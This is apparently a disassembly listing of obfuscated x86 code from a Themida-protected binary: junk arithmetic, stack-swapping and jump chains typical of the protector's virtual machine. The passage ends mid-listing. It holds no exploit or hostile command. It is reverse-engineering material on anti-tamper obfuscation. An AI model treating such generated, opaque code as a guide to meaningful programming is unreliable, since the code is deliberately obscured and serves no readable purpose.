loc_55D3D1: ; CODE XREF: Themida_:0056DFADj
add bl, cl
sub bl, 0E0h
sub bl, 7Ch
mov ecx, [esp]
jmp loc_55E063
; ---------------------------------------------------------------------------
loc_55D3E1: ; CODE XREF: Themida_:0055E8E8j
push ebp
mov ebp, 52727529h
mov esi, 0E62DD5BDh
add esi, ebp
jmp loc_56649F
; ---------------------------------------------------------------------------
loc_55D3F3: ; CODE XREF: Themida_:0056C6C4j
add eax, 4B4D44E3h
mov edx, eax
pop eax
jmp loc_561D6C
; ---------------------------------------------------------------------------
loc_55D400: ; CODE XREF: Themida_:0056D408j
xchg esi, [esp]
pop esp
xchg ebp, [esp]
mov esp, [esp]
or [esp], eax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55D413: ; CODE XREF: Themida_:0055FB55j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55D418: ; CODE XREF: Themida_:00571690j
sub esp, 4
mov [esp], eax
mov ah, 0C3h
neg ah
jmp loc_561337
; ---------------------------------------------------------------------------
loc_55D427: ; CODE XREF: Themida_:0056C91Bj
or ebp, 389D1F83h
sub ebp, 39FD9FAFh
add ecx, ebp
pop ebp
push edx
push 56B271CAh
jmp loc_57253D
; ---------------------------------------------------------------------------
loc_55D441: ; CODE XREF: Themida_:0056D2A1j
pop ebx
xor ch, 0FEh
sub al, ch
pop ecx
add al, 4Bh
sub al, cl
sub al, 4Bh
add al, 9Ah
pop ecx
push ebx
mov ebx, esp
jmp loc_56485F
; ---------------------------------------------------------------------------
loc_55D459: ; CODE XREF: Themida_:005661CBj
mov esi, [esp]
jmp loc_563FEF
; ---------------------------------------------------------------------------
loc_55D461: ; CODE XREF: Themida_:0056D438j
add edi, 638A7EB2h
add edi, ebx
sub edi, 638A7EB2h
add edi, 0C200174h
pop ebx
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, 4B009BA4h
push ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], esi
push 5207h
jmp loc_5665AD
; ---------------------------------------------------------------------------
loc_55D4B0: ; CODE XREF: Themida_:0055FCD7j
shl esi, 1
shl esi, 7
or esi, 0ACB65A7h
xor esi, 7CF1E853h
sub ebp, esi
pop esi
push ecx
mov ecx, 4B693397h
add ecx, 13E83531h
sub ebp, ecx
pop ecx
jmp loc_56B3A2
; ---------------------------------------------------------------------------
loc_55D4D8: ; CODE XREF: Themida_:0056A36Cj
add esp, 4
push 2939h
mov [esp], edi
push eax
mov eax, 6A806AA4h
and eax, 16AC1C7Fh
push ebx
mov ebx, 0B5EC9547h
sub eax, ebx
jmp loc_560628
; ---------------------------------------------------------------------------
loc_55D4FB: ; CODE XREF: Themida_:0056E2A7j
mov ebx, [esp]
add esp, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_56B068
; ---------------------------------------------------------------------------
loc_55D516: ; CODE XREF: Themida_:0056B093j
mov [esp], edx
push 317Ah
mov [esp], eax
push edx
mov dh, 7Eh
jmp loc_5700F5
; ---------------------------------------------------------------------------
loc_55D529: ; CODE XREF: Themida_:0056B337j
push ebp
mov ebp, 6F027EC7h
jmp loc_569D18
; ---------------------------------------------------------------------------
loc_55D534: ; CODE XREF: Themida_:0056692Aj
xor [esp+4], esi
push dword ptr [esp]
mov esi, [esp]
jmp loc_56505C
; ---------------------------------------------------------------------------
loc_55D543: ; CODE XREF: Themida_:0056E32Cj
add edx, ecx
jmp loc_5707FD
; ---------------------------------------------------------------------------
loc_55D54A: ; CODE XREF: Themida_:0056CEC1j
push edx
mov edx, 34742E44h
jmp loc_571787
; ---------------------------------------------------------------------------
mov ecx, [esp]
push esi
mov esi, esp
jmp loc_56B3D1
; ---------------------------------------------------------------------------
loc_55D560: ; CODE XREF: Themida_:005729D7j
xchg esi, [esp]
jmp loc_55DBC4
; ---------------------------------------------------------------------------
loc_55D568: ; CODE XREF: Themida_:0055E287j
add ebp, 69554C55h
sub ebp, 5DDD3615h
pop esi
jmp loc_571F23
; ---------------------------------------------------------------------------
loc_55D57A: ; CODE XREF: Themida_:0055ECE2j
pop edi
sub edi, 3E2F6AFDh
add edi, ebx
jmp loc_560563
; ---------------------------------------------------------------------------
loc_55D588: ; CODE XREF: Themida_:005723A8j
add edx, 75BC4F2Bh
add edx, ebp
sub edx, 75BC4F2Bh
jmp loc_56E1FD
; ---------------------------------------------------------------------------
lodsd
cmp dword ptr [edi+20h], 0
jz loc_566217
add esi, 24887364h
push ebx
mov ebx, 0DC7C6Bh
jmp loc_566153
; ---------------------------------------------------------------------------
loc_55D5B7: ; CODE XREF: Themida_:0056FE2Ej
push edx
mov edx, 480B2114h
jmp loc_56CDA2
; ---------------------------------------------------------------------------
loc_55D5C2: ; CODE XREF: Themida_:00564477j
mov eax, [esp]
push ebp
push esp
jmp loc_56C11D
; ---------------------------------------------------------------------------
lodsw
push esi
jmp loc_5668A2
; ---------------------------------------------------------------------------
loc_55D5D4: ; CODE XREF: Themida_:0055E62Aj
sub ecx, esi
mov esi, [esp]
jmp loc_5687FE
; ---------------------------------------------------------------------------
loc_55D5DE: ; CODE XREF: Themida_:0055F415j
sub edi, ecx
pop ecx
shl edi, 5
sub esp, 4
jmp loc_56C8B8
; ---------------------------------------------------------------------------
loc_55D5EF: ; CODE XREF: Themida_:005615BAj
pop esp
jmp loc_55DFE6
; ---------------------------------------------------------------------------
loc_55D5F5: ; CODE XREF: Themida_:005674ADj
mov [esp], edi
jmp loc_56BF35
; ---------------------------------------------------------------------------
loc_55D5FD: ; CODE XREF: Themida_:005629C5j
xor [esp], ebp
xor ebp, [esp]
pop esp
push edi
mov edi, 2
add eax, edi
jmp loc_55F3C2
; ---------------------------------------------------------------------------
loc_55D611: ; CODE XREF: Themida_:0056167Aj
mov edi, 4B603F63h
add edi, 3A404E49h
jmp loc_56E8A4
; ---------------------------------------------------------------------------
loc_55D621: ; CODE XREF: Themida_:00566467j
xchg ebx, [esp]
mov esp, [esp]
jmp loc_565296
; ---------------------------------------------------------------------------
loc_55D62C: ; CODE XREF: Themida_:0056BB6Ej
add ebx, 0DFF72420h
add ebx, edi
push edx
jmp loc_56E7C1
; ---------------------------------------------------------------------------
loc_55D63A: ; CODE XREF: Themida_:0056B29Cj
mov ecx, 4
sub eax, 44115E7Fh
add eax, ecx
add eax, 44115E7Fh
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push esi
mov esi, 282C7200h
push esi
add dword ptr [esp], 252947B3h
pop ebx
sub ebx, 252947B3h
pop esi
sub esp, 4
mov [esp], ecx
mov ecx, 7D1347E6h
add ecx, 0AB192A1Ch
xor ebx, ecx
pop ecx
push edx
mov edx, 58E82A00h
sub eax, edx
mov edx, [esp]
add esp, 4
jmp loc_56E2A0
; ---------------------------------------------------------------------------
loc_55D69A: ; CODE XREF: Themida_:00563650j
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], edx
push edi
mov edi, 1F486699h
push edi
pop edx
pop edi
sub edx, 0E60DD72Fh
xor eax, edx
push dword ptr [esp]
pop edx
push edx
jmp loc_568C07
; ---------------------------------------------------------------------------
loc_55D6CC: ; CODE XREF: Themida_:00560547j
pop esp
jmp loc_569915
; ---------------------------------------------------------------------------
loc_55D6D2: ; CODE XREF: Themida_:0056116Dj
not ebx
sub ebx, 5F8A32CFh
add ebx, 0E2AD219h
mov ecx, ebx
pop ebx
and ecx, 748F1CBCh
shl ecx, 3
add ecx, 7E3370A0h
jmp loc_56B84E
; ---------------------------------------------------------------------------
loc_55D6F7: ; CODE XREF: Themida_:0056545Ej
and esi, 13C01282h
sub esi, 26E930F5h
shl esi, 6
jmp loc_5626F5
; ---------------------------------------------------------------------------
loc_55D70B: ; CODE XREF: Themida_:0056557Aj
mov edx, 68AC4E35h
push edx
push ebx
mov ebx, 71A1355h
add [esp+4], ebx
pop ebx
pop edi
sub edi, 71A1355h
pop edx
mov edx, edi
pop edi
jmp loc_56C4A5
; ---------------------------------------------------------------------------
loc_55D72C: ; CODE XREF: Themida_:0056EFBAj
push ebx
mov ebx, 4
add esi, ebx
pop ebx
push eax
mov eax, 7AAF11B2h
shl eax, 7
jmp loc_55DC52
; ---------------------------------------------------------------------------
loc_55D743: ; CODE XREF: Themida_:0056177Dj
push ebx
mov ebx, 0EC85888h
add ebp, ebx
pop ebx
pop edi
push eax
mov eax, 2
add ebp, eax
pop eax
push ebp
push dword ptr [esp+4]
jmp loc_566C17
; ---------------------------------------------------------------------------
loc_55D760: ; CODE XREF: Themida_:0055F2BFj
neg ebp
jmp loc_564D26
; ---------------------------------------------------------------------------
loc_55D767: ; CODE XREF: Themida_:0056AAD2j
add ebp, 73C30CC7h
jmp loc_56A9CB
; ---------------------------------------------------------------------------
loc_55D772: ; CODE XREF: Themida_:0056B5B2j
sub esi, ebx
pop ebx
push edi
mov edi, 3B56E0Dh
or edi, 309732F6h
shl edi, 4
and edi, 142126E9h
add edi, 226BE3E1h
add esi, edi
pop edi
add esi, eax
sub esi, 328D0AC1h
add esi, 7F552E03h
sub esp, 4
jmp loc_563B4C
; ---------------------------------------------------------------------------
loc_55D7AC: ; CODE XREF: Themida_:0056F313j
add ebp, edi
pop edi
jmp loc_562903
; ---------------------------------------------------------------------------
loc_55D7B4: ; CODE XREF: Themida_:0056D91Cj
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
push dword ptr [esp]
jmp loc_569B46
; ---------------------------------------------------------------------------
loc_55D7C8: ; CODE XREF: Themida_:0056A46Fj
shl ch, 6
push ebx
jmp loc_55F188
; ---------------------------------------------------------------------------
loc_55D7D1: ; CODE XREF: Themida_:00562747j
pop eax
or edi, 7D10175Dh
add edi, 374D274Eh
and edi, 0AFC7B44h
shl edi, 6
xor edi, 1210C104h
add ebx, edi
pop edi
push esi
jmp loc_56D8AE
; ---------------------------------------------------------------------------
loc_55D7F6: ; CODE XREF: Themida_:00566BFEj
push edx
mov dh, 29h
not dh
add dh, 0C0h
shl dh, 3
jmp loc_56759A
; ---------------------------------------------------------------------------
loc_55D806: ; CODE XREF: Themida_:00566730j
mov ecx, 0A555C368h
jmp loc_565607
; ---------------------------------------------------------------------------
loc_55D810: ; CODE XREF: Themida_:0056D428j
mov ecx, 672D0358h
or edx, ecx
pop ecx
add edx, 10426C28h
add ebp, 75975D85h
add ebp, edx
sub ebp, 75975D85h
pop edx
push esi
push ebx
push 69AA1F91h
pop ebx
inc ebx
sub ebx, 686AC31h
mov esi, ebx
jmp loc_562273
; ---------------------------------------------------------------------------
loc_55D843: ; CODE XREF: Themida_:0055F851j
mov [esp], si
jmp loc_55FDEF
; ---------------------------------------------------------------------------
loc_55D84C: ; CODE XREF: Themida_:00565EFBj
mov ebx, 0
jmp loc_56F1D7
; ---------------------------------------------------------------------------
loc_55D856: ; CODE XREF: Themida_:0055DD1Dj
push esi
mov esi, 260C7109h
and esi, 61DA0A18h
jmp loc_562885
; ---------------------------------------------------------------------------
loc_55D867: ; CODE XREF: Themida_:0057281Cj
xchg edx, [esp]
jmp loc_56D1D9
; ---------------------------------------------------------------------------
loc_55D86F: ; CODE XREF: Themida_:00563F3Fj
sub edi, 50A57C5Ch
jmp loc_565257
; ---------------------------------------------------------------------------
loc_55D87A: ; CODE XREF: Themida_:00564BACj
sub esi, 4
jmp loc_560909
; ---------------------------------------------------------------------------
loc_55D885: ; CODE XREF: Themida_:0056F073j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_56538E
; ---------------------------------------------------------------------------
loc_55D898: ; CODE XREF: Themida_:0056987Dj
or edx, eax
jmp loc_568E5A
; ---------------------------------------------------------------------------
loc_55D89F: ; CODE XREF: Themida_:0056FC66j
add esp, 4
sub edi, 58C97805h
add edi, esi
add edi, 58C97805h
mov esi, [esp]
push ebx
mov ebx, esp
push eax
jmp loc_569C06
; ---------------------------------------------------------------------------
loc_55D8BF: ; CODE XREF: Themida_:0056F81Fj
sub esi, 30744B47h
jmp loc_56CD24
; ---------------------------------------------------------------------------
loc_55D8CA: ; CODE XREF: Themida_:0056E782j
add [esp], eax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55D8D3: ; CODE XREF: Themida_:00568696j
pop ebx
jmp loc_56D46F
; ---------------------------------------------------------------------------
loc_55D8D9: ; CODE XREF: Themida_:005626E3j
add edx, 2
xchg edx, [esp]
pop esp
jmp loc_568D86
; ---------------------------------------------------------------------------
loc_55D8E8: ; CODE XREF: Themida_:00571DD6j
add esp, 4
or edx, eax
shl edx, 1
jmp loc_56C89E
; ---------------------------------------------------------------------------
loc_55D8F4: ; CODE XREF: Themida_:0056D4B3j
xor [esp], esi
xor esi, [esp]
pop esp
mov edx, [esp]
push eax
mov eax, esp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push 5C40h
mov [esp], edx
mov edx, 41617875h
jmp loc_570C39
; ---------------------------------------------------------------------------
loc_55D929: ; CODE XREF: Themida_:0056E6FFj
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push ebx
push edi
push 1A45079Eh
jmp loc_56DD6B
; ---------------------------------------------------------------------------
loc_55D945: ; CODE XREF: Themida_:005622F3j
sub ecx, 3D9471BDh
jmp loc_564454
; ---------------------------------------------------------------------------
loc_55D950: ; CODE XREF: Themida_:005644FBj
add bl, ah
pop eax
push small 58E7h
mov [esp], dx
mov dl, 2Ah
jmp loc_56F376
; ---------------------------------------------------------------------------
loc_55D962: ; CODE XREF: Themida_:005603D0j
imul cl
movzx cx, ah
push small 4ADh
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55D97C: ; CODE XREF: Themida_:005635ABj
add ebx, edx
pop edx
pop ecx
jmp loc_569E10
; ---------------------------------------------------------------------------
loc_55D985: ; CODE XREF: Themida_:005679ECj
sub eax, 74800CBFh
or eax, 270915ECh
push ecx
push 6F83h
mov [esp], edx
jmp loc_562824
; ---------------------------------------------------------------------------
loc_55D99D: ; CODE XREF: Themida_:0055ED42j
pop edi
add ecx, 0EE1B5B29h
push ecx
pop edi
pop ecx
sub esp, 4
mov [esp], edx
push 3F6171FBh
jmp loc_56CE7A
; ---------------------------------------------------------------------------
loc_55D9BA: ; CODE XREF: Themida_:00564B09j
pop ecx
push eax
mov eax, 2D243C77h
jmp loc_560C57
; ---------------------------------------------------------------------------
loc_55D9C6: ; CODE XREF: Themida_:0055F308j
pop esp
push dword ptr [esp]
jmp loc_56C61F
; ---------------------------------------------------------------------------
loc_55D9CF: ; CODE XREF: Themida_:005632DDj
sub edx, edi
pop edi
mov ebp, [esp]
add esp, 4
add edx, 146E1FEAh
jmp loc_5704B3
; ---------------------------------------------------------------------------
loc_55D9E3: ; CODE XREF: Themida_:00562714j
xor [esp], ecx
sub esp, 4
mov [esp], ecx
push esi
push dword ptr [esp+4]
pop esi
jmp loc_56900D
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_55DAF2
; ---------------------------------------------------------------------------
loc_55DA07: ; CODE XREF: Themida_:005618BBj
pop ebx
shl ebx, 7
shl ebx, 2
xor ebx, 0A8E01404h
mov eax, ebx
pop ebx
add ecx, eax
pop eax
xchg ecx, [esp]
pop esp
push dword ptr [esp]
pop edx
jmp loc_5634E2
; ---------------------------------------------------------------------------
loc_55DA27: ; CODE XREF: Themida_:00560FCBj
push edx
mov edx, 2B1F5062h
and ebx, edx
jmp loc_563BB1
; ---------------------------------------------------------------------------
loc_55DA34: ; CODE XREF: Themida_:00564ABEj
inc ecx
xchg eax, ecx
neg eax
jmp loc_5615D3
; ---------------------------------------------------------------------------
loc_55DA3D: ; CODE XREF: Themida_:0055F695j
add esp, 4
shr edx, 7
jmp loc_56DC85
; ---------------------------------------------------------------------------
loc_55DA48: ; CODE XREF: Themida_:005619E5j
dec edi
push ecx
jmp loc_56368A
; ---------------------------------------------------------------------------
loc_55DA4F: ; CODE XREF: Themida_:00571336j
mov edx, [esp]
add esp, 4
and ch, al
pop ax
shl ch, 4
jmp loc_569289
; ---------------------------------------------------------------------------
loc_55DA64: ; CODE XREF: Themida_:0057042Bj
add esi, 4
push edi
mov edi, 70702E58h
jmp loc_56C9AA
; ---------------------------------------------------------------------------
loc_55DA75: ; CODE XREF: Themida_:00570C26j
neg dl
add dl, 0FFh
push ecx
jmp loc_56C1A9
; ---------------------------------------------------------------------------
loc_55DA80: ; CODE XREF: Themida_:0056BD36j
pop edx
sub ch, dh
sub ch, 60h
mov dx, [esp]
add esp, 2
push edx
jmp loc_56E370
; ---------------------------------------------------------------------------
loc_55DA96: ; CODE XREF: Themida_:0056B8F4j
pop eax
jmp loc_56BA39
; ---------------------------------------------------------------------------
loc_55DA9C: ; CODE XREF: Themida_:0056E82Ej
and esi, edi
pop edi
jmp loc_56C6C9
; ---------------------------------------------------------------------------
loc_55DAA4: ; CODE XREF: Themida_:00565341j
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], edx
mov edx, 585450E3h
sub edx, 1
not edx
or edx, 6641670Eh
push esi
push edi
push 53B40D27h
mov edi, [esp]
add esp, 4
add edi, 53FFA0CDh
mov esi, edi
pop edi
jmp loc_55EC44
; ---------------------------------------------------------------------------
loc_55DAE2: ; CODE XREF: Themida_:0056071Fj
xor ebp, ecx
xor ecx, ebp
push ecx
jmp loc_55EF93
; ---------------------------------------------------------------------------
loc_55DAEC: ; CODE XREF: Themida_:005603F2j
push ebp
jmp loc_565E9B
; ---------------------------------------------------------------------------
loc_55DAF2: ; CODE XREF: Themida_:0055DA02j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55DAF7: ; CODE XREF: Themida_:0056F03Ej
inc edi
xor edi, 0C4D4E96Fh
xor ebp, edi
pop edi
add eax, ebp
jmp loc_56D456
; ---------------------------------------------------------------------------
loc_55DB08: ; CODE XREF: Themida_:00567688j
xor cl, 0Eh
jmp loc_5603B3
; ---------------------------------------------------------------------------
loc_55DB10: ; CODE XREF: Themida_:0056F932j
pop esp
mov ax, [esp]
push 0B7Ch
mov [esp], edx
jmp loc_561AEF
; ---------------------------------------------------------------------------
loc_55DB22: ; CODE XREF: Themida_:00565E14j
add eax, ebp
pop ebp
sub esp, 4
mov [esp], ebx
mov bh, cl
mov [eax], bh
mov ebx, [esp]
add esp, 4
jmp loc_566A0A
; ---------------------------------------------------------------------------
loc_55DB3A: ; CODE XREF: Themida_:0056B39Dj
mov edi, 75A3166h
push ebp
jmp loc_55E100
; ---------------------------------------------------------------------------
loc_55DB45: ; CODE XREF: Themida_:00572ABDj
xor edx, [esp]
jmp loc_56B0AC
; ---------------------------------------------------------------------------
loc_55DB4D: ; CODE XREF: Themida_:005611DBj
mov ecx, 4B634909h
sub ecx, 11BC4B2Ch
xor ecx, 23DE13E5h
jmp loc_56C920
; ---------------------------------------------------------------------------
loc_55DB63: ; CODE XREF: Themida_:00567E25j
add esp, 4
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55DB6E: ; CODE XREF: Themida_:00570AAEj
mov [esp], ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_561EFC
; ---------------------------------------------------------------------------
loc_55DB8D: ; CODE XREF: Themida_:0056ECADj
mov ebp, 4
jmp loc_57113F
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
jmp loc_567BE4
; ---------------------------------------------------------------------------
loc_55DB9F: ; CODE XREF: Themida_:0057280Ej
mov eax, edi
pop edi
sub esp, 4
mov [esp], eax
add dword ptr [esp], 536E4334h
mov edi, [esp]
add esp, 4
sub edi, 536E4334h
pop eax
jmp loc_57171F
; ---------------------------------------------------------------------------
loc_55DBC4: ; CODE XREF: Themida_:0055D563j
push 4B9Bh
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_56C482
; ---------------------------------------------------------------------------
loc_55DBD9: ; CODE XREF: Themida_:00566F02j
xor edi, [esp]
mov esp, [esp]
jmp loc_57094D
; ---------------------------------------------------------------------------
loc_55DBE4: ; CODE XREF: Themida_:00572728j
push ebp
mov ebp, 58EA48CFh
jmp loc_56CA8A
; ---------------------------------------------------------------------------
loc_55DBEF: ; CODE XREF: Themida_:00564AA0j
xchg ebp, [esp]
pop esp
mov [esp], ebx
mov ebx, 0BFE00002h
add esi, ebx
pop ebx
jmp loc_560DD8
; ---------------------------------------------------------------------------
loc_55DC03: ; CODE XREF: Themida_:00565AB6j
mov [esp], eax
push esp
jmp loc_55E17C
; ---------------------------------------------------------------------------
loc_55DC0C: ; CODE XREF: Themida_:00561332j
add ebx, 7905887h
sub ebx, eax
sub ebx, 7905887h
jmp loc_56989F
; ---------------------------------------------------------------------------
loc_55DC1F: ; CODE XREF: Themida_:0055FD98j
shr cl, 6
sub cl, 0CAh
jmp loc_5713AA
; ---------------------------------------------------------------------------
loc_55DC2A: ; CODE XREF: Themida_:00567781j
add ebx, esi
sub ebx, 3BFB5464h
add ebx, 27906B52h
push ebp
jmp loc_5697BD
; ---------------------------------------------------------------------------
loc_55DC3E: ; CODE XREF: Themida_:005719D2j
push esp
pop eax
add eax, 4
push edi
mov edi, 4
add eax, edi
jmp loc_560995
; ---------------------------------------------------------------------------
loc_55DC52: ; CODE XREF: Themida_:0055D73Ej
and eax, 4B8E4FB4h
jmp loc_55DD02
; ---------------------------------------------------------------------------
loc_55DC5C: ; CODE XREF: Themida_:00561026j
push 4
mov edx, [esp]
add esp, 4
sub eax, 7BAB6621h
add eax, edx
add eax, 7BAB6621h
push dword ptr [esp]
pop edx
add esp, 4
push 2F3Ah
jmp loc_56A017
; ---------------------------------------------------------------------------
loc_55DC87: ; CODE XREF: Themida_:0056AFB3j
sub esi, 18A13D9Dh
xor esi, 47309834h
jmp loc_56BCFF
; ---------------------------------------------------------------------------
loc_55DC98: ; CODE XREF: Themida_:0055EFACj
xor ecx, [esp]
mov esp, [esp]
add eax, 2
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_5716F8
; ---------------------------------------------------------------------------
loc_55DCB1: ; CODE XREF: Themida_:0056B4C2j
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
jmp loc_56045E
; ---------------------------------------------------------------------------
loc_55DCC0: ; CODE XREF: Themida_:0056E120j
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_570D15
; ---------------------------------------------------------------------------
loc_55DCD8: ; CODE XREF: Themida_:005638C8j
add esp, 4
push ebp
mov ebp, 0DB430F8h
and ebp, 68A82996h
sub ebp, 3CA2E3CFh
add esi, ebp
pop ebp
sub eax, 4BED451Bh
add eax, esi
add eax, 4BED451Bh
pop esi
jmp loc_56855C
; ---------------------------------------------------------------------------
loc_55DD02: ; CODE XREF: Themida_:0055DC57j
neg eax
push eax
dec dword ptr [esp]
pop eax
shr eax, 7
add eax, 0FE871097h
add esi, eax
pop eax
jmp loc_55FB8F
; ---------------------------------------------------------------------------
loc_55DD19: ; CODE XREF: Themida_:00560B32j
pop edi
shl ebx, 7
jmp loc_55D856
; ---------------------------------------------------------------------------
loc_55DD22: ; CODE XREF: Themida_:00563AB2j
push dword ptr [esp]
jmp loc_56352B
; ---------------------------------------------------------------------------
loc_55DD2A: ; CODE XREF: Themida_:0056B6EEj
push ebp
push esi
mov ebp, [esp]
add esp, 4
pop esi
or ebp, 265A47F9h
sub esp, 4
jmp loc_5679F1
; ---------------------------------------------------------------------------
loc_55DD44: ; CODE XREF: Themida_:0057208Cj
xor ebx, 16E2481Ch
add esi, ebx
pop ebx
jmp loc_55E895
; ---------------------------------------------------------------------------
loc_55DD52: ; CODE XREF: Themida_:00568985j
mov [esp], ebp
push 2C346B3Ah
pop ebp
jmp loc_55FE0E
; ---------------------------------------------------------------------------
loc_55DD60: ; CODE XREF: Themida_:00563C5Bj
push 131C30E0h
jmp loc_5663A0
; ---------------------------------------------------------------------------
loc_55DD6A: ; CODE XREF: Themida_:0056DB90j
and bh, 71h
add bh, 57h
add al, bh
jmp loc_5645D5
; ---------------------------------------------------------------------------
loc_55DD77: ; CODE XREF: Themida_:00561E22j
sub esp, 4
mov [esp], eax
push ebx
jmp loc_57197F
; ---------------------------------------------------------------------------
loc_55DD86: ; CODE XREF: Themida_:0056F83Bj
mov edi, 4
sub ebp, 22F41FB7h
jmp loc_568E21
; ---------------------------------------------------------------------------
loc_55DD96: ; CODE XREF: Themida_:00571B45j
mov [esp], edx
mov edx, 10503636h
add eax, edx
pop edx
sub eax, ebx
sub esp, 4
mov [esp], edi
push eax
push 264A4075h
pop eax
xor eax, 75215A3Bh
mov edi, eax
pop eax
push 0
sub [esp], edi
jmp loc_55F262
; ---------------------------------------------------------------------------
loc_55DDC5: ; CODE XREF: Themida_:0056CE09j
or eax, eax
jz loc_5652A0
push 1559h
mov [esp], ecx
push 576h
mov [esp], eax
push 904774Eh
push dword ptr [esp]
pop eax
jmp loc_56B559
; ---------------------------------------------------------------------------
loc_55DDEB: ; CODE XREF: Themida_:0055F3E3j
push edi
mov edi, 53726535h
sub ebx, edi
pop edi
add ebx, ecx
add ebx, 53726535h
sub ebx, 7F8A6F3Fh
pop ecx
push esi
mov esi, 509B3C33h
push ecx
mov ecx, 5E142E2Eh
or ecx, 46CA4C93h
shl ecx, 3
not ecx
sub ecx, 0C0ED13A8h
jmp loc_562D08
; ---------------------------------------------------------------------------
loc_55DE25: ; CODE XREF: Themida_:0055FEF3j
add eax, esi
jmp loc_56D4FC
; ---------------------------------------------------------------------------
loc_55DE2C: ; CODE XREF: Themida_:005690FCj
mov ebp, esp
jmp loc_56BC53
; ---------------------------------------------------------------------------
loc_55DE33: ; CODE XREF: Themida_:0056BC45j
mov [esp], ebp
jmp loc_5634C9
; ---------------------------------------------------------------------------
loc_55DE3B: ; CODE XREF: Themida_:00571823j
pop ebx
push esi
jmp loc_5725BE
; ---------------------------------------------------------------------------
loc_55DE42: ; CODE XREF: Themida_:00570B5Fj
add ecx, edx
pop edx
add ecx, 4
xchg ecx, [esp]
pop esp
add [esp+4], esi
mov esi, [esp]
add esp, 4
pop dword ptr [edi+24h]
loc_55DE5C: ; CODE XREF: Themida_:0056F001j
push ebx
jmp loc_569C3E
; ---------------------------------------------------------------------------
loc_55DE62: ; CODE XREF: Themida_:00563411j
add esp, 4
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ecx
mov ecx, 267879C2h
xor ecx, 18573C41h
sub ecx, 0EC4038B5h
inc ecx
xor ecx, 51EF0CCDh
push ecx
jmp loc_55EAA5
; ---------------------------------------------------------------------------
loc_55DE99: ; CODE XREF: Themida_:005617A6j
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov edi, [esp]
jmp loc_569543
; ---------------------------------------------------------------------------
loc_55DEA9: ; CODE XREF: Themida_:0056FD69j
sub ecx, ebp
add ecx, 0C295DD5h
jmp loc_5604A1
; ---------------------------------------------------------------------------
loc_55DEB6: ; CODE XREF: Themida_:0056029Ej
xor [esp+4], ecx
mov ecx, [esp]
add esp, 4
pop dword ptr [edi+20h]
jmp loc_5651A6
; ---------------------------------------------------------------------------
loc_55DECB: ; CODE XREF: Themida_:0057196Bj
xchg eax, ecx
shl ecx, 4
sub ecx, 33D264D3h
add ecx, 3CDF0593h
sub ebp, ecx
pop ecx
jmp loc_55F61D
; =============== S U B R O U T I N E =======================================
sub_55DEE3 proc near ; CODE XREF: sub_571676-2FB0j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00564145 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BDAD SIZE 0000001E BYTES
push ebx
mov bh, 5Ah
push ebx
mov bh, 34h
mov dl, 0FFh
xor dl, bh
pop ebx
sub dl, bh
pop ebx
add dl, 0C9h
sub dl, 24h
sub esp, 4
mov [esp+4+var_4], ecx
push ebx
mov bl, 21h
add bl, 6Dh
mov ch, bl
pop ebx
add dl, ch
jmp loc_564145
sub_55DEE3 endp
; ---------------------------------------------------------------------------
loc_55DF0D: ; CODE XREF: Themida_:00565897j
push edx
push eax
mov eax, 0DBE18F0h
jmp loc_5727F6
; ---------------------------------------------------------------------------
loc_55DF19: ; CODE XREF: Themida_:0056E9E4j
add ebx, edi
mov edi, [esp]
add esp, 4
jmp loc_565F75
; ---------------------------------------------------------------------------
loc_55DF26: ; CODE XREF: Themida_:0056842Cj
neg ecx
inc ecx
jmp loc_55E0DE
; ---------------------------------------------------------------------------
loc_55DF2E: ; CODE XREF: Themida_:00567BDFj
mov eax, [esp]
add esp, 4
jmp loc_568999
; ---------------------------------------------------------------------------
loc_55DF3C: ; CODE XREF: Themida_:0055FE7Aj
mul cl
movzx cx, ah
push small 43EEh
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55DF56: ; CODE XREF: Themida_:00570562j
add esi, edx
pop edx
add esi, 4
xchg esi, [esp]
jmp loc_56E970
; ---------------------------------------------------------------------------
loc_55DF67: ; CODE XREF: Themida_:00561031j
pop dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_570BCE
; ---------------------------------------------------------------------------
loc_55DF79: ; CODE XREF: Themida_:00560FABj
mov edi, 40277253h
mov ebp, 0D8D2B880h
add ebp, edi
jmp loc_56A1D7
; ---------------------------------------------------------------------------
loc_55DF8A: ; CODE XREF: Themida_:00563BACj
push esi
mov esi, 2DA7F59h
